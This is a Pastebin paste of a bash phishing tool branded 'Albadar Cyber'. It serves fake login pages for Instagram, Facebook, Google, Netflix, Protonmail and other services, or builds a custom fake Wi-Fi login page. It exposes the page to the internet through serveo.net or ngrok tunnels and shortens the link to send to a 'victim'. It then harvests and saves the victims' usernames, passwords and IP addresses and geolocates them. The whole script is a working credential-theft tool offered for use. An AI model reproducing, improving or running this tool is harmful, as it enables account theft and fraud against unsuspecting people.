Guest User

Untitled

a guest
Aug 23rd, 2018
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.34 KB | None | 0 0
  1. #!/bin/bash
  2. # Albadar Cyber
  3. # Coded by: Albadar
  4. # Github: https://github.com/albadarcyber
  5. # Email: albadarcyber@gmail.com
  6. # Thanks To: Albadar,Badut Galau,Jhonythebay,Dapoy,Mb3_sur3,Jester
  7.  
  8. trap 'printf "\n";stop;exit 1' 2
  9.  
  10.  
  11. dependencies() {
  12.  
  13. command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
  14. command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Install it. Aborting."; exit 1; }
  15.  
  16. }
  17.  
  18. menu() {
  19.  
  20. printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Instagram\e[0m \e[1;92m[\e[0m\e[1;77m09\e[0m\e[1;92m]\e[0m\e[1;93m Origin\e[0m \e[1;92m[\e[0m\e[1;77m17\e[0m\e[1;92m]\e[0m\e[1;93m Gitlab\e[0m\n"
  21. printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Facebook\e[0m \e[1;92m[\e[0m\e[1;77m10\e[0m\e[1;92m]\e[0m\e[1;93m Steam\e[0m \e[1;92m[\e[0m\e[1;77m18\e[0m\e[1;92m]\e[0m\e[1;93m Pinterest\e[0m\n"
  22. printf "\e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Snapchat\e[0m \e[1;92m[\e[0m\e[1;77m11\e[0m\e[1;92m]\e[0m\e[1;93m Yahoo\e[0m \e[1;92m[\e[0m\e[1;77m19\e[0m\e[1;92m]\e[0m\e[1;93m Custom\e[0m\n"
  23. printf "\e[1;92m[\e[0m\e[1;77m04\e[0m\e[1;92m]\e[0m\e[1;93m Twitter\e[0m \e[1;92m[\e[0m\e[1;77m12\e[0m\e[1;92m]\e[0m\e[1;93m Linkedin\e[0m \e[1;92m[\e[0m\e[1;77m99\e[0m\e[1;92m]\e[0m\e[1;93m Exit\e[0m\n"
  24. printf "\e[1;92m[\e[0m\e[1;77m05\e[0m\e[1;92m]\e[0m\e[1;93m Github\e[0m \e[1;92m[\e[0m\e[1;77m13\e[0m\e[1;92m]\e[0m\e[1;93m Protonmail\e[0m\n"
  25. printf "\e[1;92m[\e[0m\e[1;77m06\e[0m\e[1;92m]\e[0m\e[1;93m Google\e[0m \e[1;92m[\e[0m\e[1;77m14\e[0m\e[1;92m]\e[0m\e[1;93m Wordpress\e[0m\n"
  26. printf "\e[1;92m[\e[0m\e[1;77m07\e[0m\e[1;92m]\e[0m\e[1;93m Spotify\e[0m \e[1;92m[\e[0m\e[1;77m15\e[0m\e[1;92m]\e[0m\e[1;93m Microsoft\e[0m\n"
  27. printf "\e[1;92m[\e[0m\e[1;77m08\e[0m\e[1;92m]\e[0m\e[1;93m Netflix\e[0m \e[1;92m[\e[0m\e[1;77m16\e[0m\e[1;92m]\e[0m\e[1;93m InstaFollowers\e[0m\n"
  28. read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m\en' option
  29.  
  30.  
  31. if [[ $option == 1 || $option == 01 ]]; then
  32. server="instagram"
  33. start1
  34.  
  35. elif [[ $option == 2 || $option == 02 ]]; then
  36. server="facebook"
  37. start1
  38. elif [[ $option == 3 || $option == 03 ]]; then
  39. server="snapchat"
  40. start1
  41. elif [[ $option == 4 || $option == 04 ]]; then
  42. server="twitter"
  43. start1
  44. elif [[ $option == 5 || $option == 05 ]]; then
  45. server="github"
  46. start1
  47. elif [[ $option == 6 || $option == 06 ]]; then
  48. server="google"
  49. start1
  50.  
  51. elif [[ $option == 7 || $option == 07 ]]; then
  52. server="spotify"
  53. start1
  54.  
  55. elif [[ $option == 8 || $option == 08 ]]; then
  56. server="netflix"
  57. start1
  58.  
  59. elif [[ $option == 9 || $option == 09 ]]; then
  60. server="origin"
  61. start1
  62.  
  63. elif [[ $option == 10 ]]; then
  64. server="steam"
  65. start1
  66.  
  67. elif [[ $option == 11 ]]; then
  68. server="yahoo"
  69. start1
  70.  
  71. elif [[ $option == 12 ]]; then
  72. server="linkedin"
  73. start1
  74.  
  75. elif [[ $option == 13 ]]; then
  76. server="protonmail"
  77. start1
  78.  
  79. elif [[ $option == 14 ]]; then
  80. server="wordpress"
  81. start1
  82.  
  83. elif [[ $option == 15 ]]; then
  84. server="microsoft"
  85. start1
  86.  
  87. elif [[ $option == 16 ]]; then
  88. server="instafollowers"
  89. start1
  90.  
  91. elif [[ $option == 17 ]]; then
  92. server="gitlab"
  93. start1
  94.  
  95. elif [[ $option == 18 ]]; then
  96. server="pinterest"
  97. start1
  98.  
  99. elif [[ $option == 19 ]]; then
  100. server="create"
  101. createpage
  102. start1
  103.  
  104. elif [[ $option == 99 ]]; then
  105. exit 1
  106.  
  107. else
  108. printf "\e[1;93m [!] Invalid option!\e[0m\n"
  109. sleep 1
  110. clear
  111. menu
  112. fi
  113. }
  114.  
  115. stop() {
  116.  
  117. checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
  118. checkphp=$(ps aux | grep -o "php" | head -n1)
  119. checkssh=$(ps aux | grep -o "ssh" | head -n1)
  120. if [[ $checkngrok == *'ngrok'* ]]; then
  121. pkill -f -2 ngrok > /dev/null 2>&1
  122. killall -2 ngrok > /dev/null 2>&1
  123. fi
  124. if [[ $checkphp == *'php'* ]]; then
  125. pkill -f -2 php > /dev/null 2>&1
  126. killall -2 php > /dev/null 2>&1
  127. fi
  128. if [[ $checkssh == *'ssh'* ]]; then
  129. pkill -f -2 ssh > /dev/null 2>&1
  130. killall ssh > /dev/null 2>&1
  131. fi
  132. if [[ -e sendlink ]]; then
  133. rm -rf sendlink
  134. fi
  135.  
  136. }
  137.  
  138. banner() {
  139.  
  140. printf "\e[1;77m _ _ _ _ \e[0m\n"
  141. printf "\e[1;77m / \ | | |__ __ _ __| | __ _ _ __ \e[0m\n"
  142. printf "\e[1;77m / _ \ | | '_ \ / _` |/ _` |/ _` | '__| \e[0m\n"
  143. printf "\e[1;77m / ___ \| | |_) | (_| | (_| | (_| | | \e[0m\n"
  144. printf "\e[1;77m /_/ \_\_|_.__/ \__,_|\__,_|\__,_|_| \e[0m\n"
  145. printf "\n"
  146. printf "\e[1;93m .:.:.\e[0m\e[1;77m Phishing Tool coded by: Albadar Cyber \e[0m\e[1;93m.:.:.\e[0m\n"
  147. printf "\n"
  148. printf " \e[101m\e[1;77m:: Silahkan Pilih Phising Mana Yang Akan Kalian Gunakan ::\e[0m\n"
  149. printf " \e[101m\e[1;77m:: Thanks To All Member Albadar Cyber ::\e[0m\n"
  150. printf "\n"
  151. }
  152.  
  153. createpage() {
  154. default_cap1="Wi-fi Session Expired"
  155. default_cap2="Please login again."
  156. default_user_text="Username:"
  157. default_pass_text="Password:"
  158. default_sub_text="Log-In"
  159.  
  160. read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1
  161. cap1="${cap1:-${default_cap1}}"
  162.  
  163. read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2
  164. cap2="${cap2:-${default_cap2}}"
  165.  
  166. read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text
  167. user_text="${user_text:-${default_user_text}}"
  168.  
  169. read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text
  170. pass_text="${pass_text:-${default_pass_text}}"
  171.  
  172. read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text
  173. sub_text="${sub_text:-${default_sub_text}}"
  174.  
  175. echo "<!DOCTYPE html>" > sites/create/login.html
  176. echo "<html>" >> sites/create/login.html
  177. echo "<body bgcolor=\"gray\" text=\"white\">" >> sites/create/login.html
  178. IFS=$'\n'
  179. printf '<center><h2> %s <br><br> %s </h2></center><center>\n' $cap1 $cap2 >> sites/create/login.html
  180. IFS=$'\n'
  181. printf '<form method="POST" action="login.php"><label>%s </label>\n' $user_text >> sites/create/login.html
  182. IFS=$'\n'
  183. printf '<input type="text" name="username" length=64>\n' >> sites/create/login.html
  184. IFS=$'\n'
  185. printf '<br><label>%s: </label>' $pass_text >> sites/create/login.html
  186. IFS=$'\n'
  187. printf '<input type="password" name="password" length=64><br><br>\n' >> sites/create/login.html
  188. IFS=$'\n'
  189. printf '<input value="%s" type="submit"></form>\n' $sub_text >> sites/create/login.html
  190. printf '</center>' >> sites/create/login.html
  191. printf '<body>\n' >> sites/create/login.html
  192. printf '</html>\n' >> sites/create/login.html
  193.  
  194.  
  195. }
  196.  
  197. catch_cred() {
  198.  
  199. account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2)
  200. IFS=$'\n'
  201. password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2)
  202. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Account:\e[0m\e[1;77m %s\n\e[0m" $account
  203. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password
  204. cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
  205. printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server
  206. printf "\n"
  207. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Next IP and Next Credentials, Press Ctrl + C to exit...\e[0m\n"
  208.  
  209. }
  210.  
  211.  
  212. catch_ip() {
  213. touch sites/$server/saved.usernames.txt
  214. ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r')
  215. IFS=$'\n'
  216. ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2)
  217. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Victim IP:\e[0m\e[1;77m %s\e[0m\n" $ip
  218. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m\e[1;77m %s\e[0m\n" $ua
  219. printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server
  220. cat sites/$server/ip.txt >> sites/$server/saved.ip.txt
  221.  
  222. if [[ -e iptracker.log ]]; then
  223. rm -rf iptracker.log
  224. fi
  225.  
  226. IFS='\n'
  227. iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log)
  228. IFS=$'\n'
  229. continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1)
  230. printf "\n"
  231. hostnameip=$(grep -o "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2)
  232. if [[ $hostnameip != "" ]]; then
  233. printf "\e[1;92m[*] Hostname:\e[0m\e[1;77m %s\e[0m\n" $hostnameip
  234. fi
  235. ##
  236.  
  237. reverse_dns=$(grep -a "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f1)
  238. if [[ $reverse_dns != "" ]]; then
  239. printf "\e[1;92m[*] Reverse DNS:\e[0m\e[1;77m %s\e[0m\n" $reverse_dns
  240. fi
  241. ##
  242.  
  243.  
  244. if [[ $continent != "" ]]; then
  245. printf "\e[1;92m[*] IP Continent:\e[0m\e[1;77m %s\e[0m\n" $continent
  246. fi
  247. ##
  248.  
  249. country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1)
  250. if [[ $country != "" ]]; then
  251. printf "\e[1;92m[*] IP Country:\e[0m\e[1;77m %s\e[0m\n" $country
  252. fi
  253. ##
  254.  
  255. state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2)
  256. if [[ $state != "" ]]; then
  257. printf "\e[1;92m[*] State:\e[0m\e[1;77m %s\e[0m\n" $state
  258. fi
  259. ##
  260. city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
  261.  
  262. if [[ $city != "" ]]; then
  263. printf "\e[1;92m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city
  264. fi
  265. ##
  266.  
  267. isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
  268. if [[ $isp != "" ]]; then
  269. printf "\e[1;92m[*] ISP:\e[0m\e[1;77m %s\e[0m\n" $isp
  270. fi
  271. ##
  272.  
  273. as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
  274. if [[ $as_number != "" ]]; then
  275. printf "\e[1;92m[*] AS Number:\e[0m\e[1;77m %s\e[0m\n" $as_number
  276. fi
  277. ##
  278.  
  279. ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
  280. if [[ $ip_speed != "" ]]; then
  281. printf "\e[1;92m[*] IP Address Speed:\e[0m\e[1;77m %s\e[0m\n" $ip_speed
  282. fi
  283. ##
  284. ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
  285.  
  286. if [[ $ip_currency != "" ]]; then
  287. printf "\e[1;92m[*] IP Currency:\e[0m\e[1;77m %s\e[0m\n" $ip_currency
  288. fi
  289. ##
  290. printf "\n"
  291. rm -rf iptracker.log
  292. printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Credentials and Next IP, Press Ctrl + C to exit...\e[0m\n"
  293.  
  294. }
  295.  
  296.  
  297. serverx() {
  298. printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
  299. cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 &
  300. sleep 2
  301. printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n"
  302. command -v ssh > /dev/null 2>&1 || { echo >&2 "I require SSH but it's not installed. Install it. Aborting."; exit 1; }
  303. if [[ -e sendlink ]]; then
  304. rm -rf sendlink
  305. fi
  306. $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' &
  307. printf "\n"
  308. sleep 10
  309. send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
  310. printf "\n"
  311. printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link
  312. send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1)
  313. printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip
  314. printf "\n"
  315. checkfound
  316.  
  317.  
  318. }
  319.  
  320. startx() {
  321. if [[ -e sites/$server/ip.txt ]]; then
  322. rm -rf sites/$server/ip.txt
  323.  
  324. fi
  325. if [[ -e sites/$server/usernames.txt ]]; then
  326. rm -rf sites/$server/usernames.txt
  327.  
  328. fi
  329.  
  330. default_port="3333" #$(seq 1111 4444 | sort -R | head -n1)
  331. printf '\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;92m): \e[0m' $default_port
  332. read port
  333. port="${port:-${default_port}}"
  334. serverx
  335.  
  336. }
  337.  
  338.  
  339. start() {
  340. if [[ -e sites/$server/ip.txt ]]; then
  341. rm -rf sites/$server/ip.txt
  342.  
  343. fi
  344. if [[ -e sites/$server/usernames.txt ]]; then
  345. rm -rf sites/$server/usernames.txt
  346.  
  347. fi
  348.  
  349.  
  350.  
  351. if [[ -e ngrok ]]; then
  352. echo ""
  353. else
  354. command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
  355. command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
  356. printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n"
  357. arch=$(uname -a | grep -o 'arm' | head -n1)
  358. arch2=$(uname -a | grep -o 'Android' | head -n1)
  359. if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
  360. wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
  361.  
  362. if [[ -e ngrok-stable-linux-arm.zip ]]; then
  363. unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
  364. chmod +x ngrok
  365. rm -rf ngrok-stable-linux-arm.zip
  366. else
  367. printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
  368. exit 1
  369. fi
  370.  
  371.  
  372.  
  373. else
  374. wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
  375. if [[ -e ngrok-stable-linux-386.zip ]]; then
  376. unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
  377. chmod +x ngrok
  378. rm -rf ngrok-stable-linux-386.zip
  379. else
  380. printf "\e[1;93m[!] Download error... \e[0m\n"
  381. exit 1
  382. fi
  383. fi
  384. fi
  385.  
  386. printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
  387. cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 &
  388. sleep 2
  389. printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server...\n"
  390. ./ngrok http 3333 > /dev/null 2>&1 &
  391. sleep 10
  392.  
  393. link=$(curl -s -N http://127.0.0.1:4040/status | grep -o "https://[0-9a-z]*\.ngrok.io")
  394. printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Victim:\e[0m\e[1;77m %s\e[0m\n" $link
  395. checkfound
  396. }
  397.  
  398. start1() {
  399. if [[ -e sendlink ]]; then
  400. rm -rf sendlink
  401. fi
  402.  
  403.  
  404. printf "\n"
  405. printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunneling, Best!)\e[0m\n"
  406. printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
  407. default_option_server="1"
  408. read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m\en' option_server
  409. option_server="${option_server:-${default_option_server}}"
  410. if [[ $option_server == 1 || $option_server == 01 ]]; then
  411. startx
  412.  
  413. elif [[ $option_server == 2 || $option_server == 02 ]]; then
  414. start
  415. else
  416. printf "\e[1;93m [!] Invalid option!\e[0m\n"
  417. sleep 1
  418. clear
  419. start1
  420. fi
  421.  
  422. }
  423. checkfound() {
  424.  
  425. printf "\n"
  426. printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting IPs and Credentials,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
  427. while [ true ]; do
  428.  
  429.  
  430. if [[ -e "sites/$server/ip.txt" ]]; then
  431. printf "\n\e[1;92m[\e[0m*\e[1;92m] IP Found!\n"
  432. catch_ip
  433. rm -rf sites/$server/ip.txt
  434. fi
  435. sleep 0.5
  436. if [[ -e "sites/$server/usernames.txt" ]]; then
  437. printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
  438. catch_cred
  439. rm -rf sites/$server/usernames.txt
  440. fi
  441. sleep 0.5
  442.  
  443.  
  444. done
  445.  
  446. }
  447. banner
  448. dependencies
  449. menu
Add Comment
Please, Sign In to add comment